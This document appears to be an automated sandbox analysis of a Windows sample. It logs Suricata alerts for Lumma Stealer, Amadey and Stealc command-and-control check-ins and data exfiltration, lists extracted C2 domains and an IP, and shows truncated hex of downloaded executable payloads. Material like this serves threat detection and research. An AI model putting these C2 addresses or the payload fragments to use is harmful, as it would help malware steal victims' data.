Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:56920 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:61392 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:56160 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:61870 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:57060 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49801 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49817
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49870 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:51178 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52094 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59295 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:57952 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49903 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49910 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49920 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49932 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49939 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49946 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49933 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49957 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:53957 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50317 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:49332 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:49916 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49971 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49991 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50002 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50016 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50035 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50049 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50073 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50058 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49990 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50055 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50056 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50100 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:62871 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50116 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50113 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:52181 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:49457 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50119 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50118 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50115 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50127 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50122 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50124 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50126 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50129 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057071 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (authorisev .site) : 192.168.2.4:54814 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:62875 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50131 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50133 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50134 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50147 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50141 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50158 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50186 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50187 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50191 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50189 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50195 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50179 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50197 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50198 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2057072 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI) : 192.168.2.4:50194 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49910 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49910 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49920 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49920 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49932 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50073 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50122 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50126 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50131 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50158 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50127 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50127 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50056 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50186 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50186 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50058 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50115 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50115 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50129 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50129 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50198 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50197 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50197 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50187 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50187 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50113 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50113 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:56:09 GMTContent-Type: application/octet-streamContent-Length: 2712064Last-Modified: Fri, 01 Nov 2024 09:00:50 GMTConnection: keep-aliveETag: "672498c2-296200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 76 74 6e 77 6f 78 70 00 20 29 00 00 a0 00 00 00 02 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 64 7a 6c 6a 74 6b 00 20 00 00 00 c0 29 00 00 04 00 00 00 3c 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 29 00 00 22 00 00 00 40 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:56:12 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Fri, 01 Nov 2024 09:52:29 GMTConnection: keep-aliveETag: "6724a4dd-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 34 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 85 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 84 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 